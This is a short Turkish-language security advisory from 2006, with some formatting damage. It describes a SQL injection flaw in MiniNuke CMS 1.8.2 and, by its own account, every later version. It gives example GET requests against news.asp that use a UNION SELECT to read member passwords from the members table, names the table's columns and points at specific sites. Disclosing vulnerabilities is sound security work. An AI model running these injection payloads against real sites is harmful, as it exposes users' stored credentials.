--Güvenlik Raporu--Nedir: MiniNuke CMS System <= 1.8.2 SQL Injection vulnerability Yazar: Mustafa Can Bjorn "nukedx a. k. a nuker" IPEKCI Tarih: 12/01/06 08:47 PM Kontaklar: Vendor: MiniNuke Version: 1.8.2 ve muhtemelen alt sürümler. Hakkında:Bu metodla uzaktan saldıran birisi news. aspye SQL sorgusu çalıştırabilmekte. Nasıl&rnek: GET -> http:// /news. asp?Action=Print&hid= http://www.miniex.net/news. asp?Action=Print&hid=66%20union+select+0, sifre,0,0,0,0,0,0,0,0+from+members+where+uye_id=52MEMBERS kolonları:uye_idsifreg_sorug_cevapemailisim icq msn aim meslek cinsiyet yas url imza mail_goster avurlavatar--ajana sevgilerleSaygılar, NWPX team adınanuker a. k. a nukedxEdited: 13/01/06-->Ayrıca SQL injection açığı sadece 1.8.2 ve altını değil mevcut bütün mini-nuke sürümlerinde bulunmaktadır. rnek kod 1.8.2 ve üstü içinhttp://www.mini-nuke.info/news. asp?Action=Print&hid=66%20union+select+0, sifre,0,0,0,0,0,0,0,0,0+from+members+where+uye_id=52Referanslar:http://www.securityfocus.com/archive/1/421747/30/0/threadedhttp://seclists. org/lists/fulldisclosure/2006/Jan/0444.htmlhttp://archives.neohapsis.com/archives/fulldisclosure/2006-01/0439.html<-- I wish you bear with me, stay near me a. k. a nukedx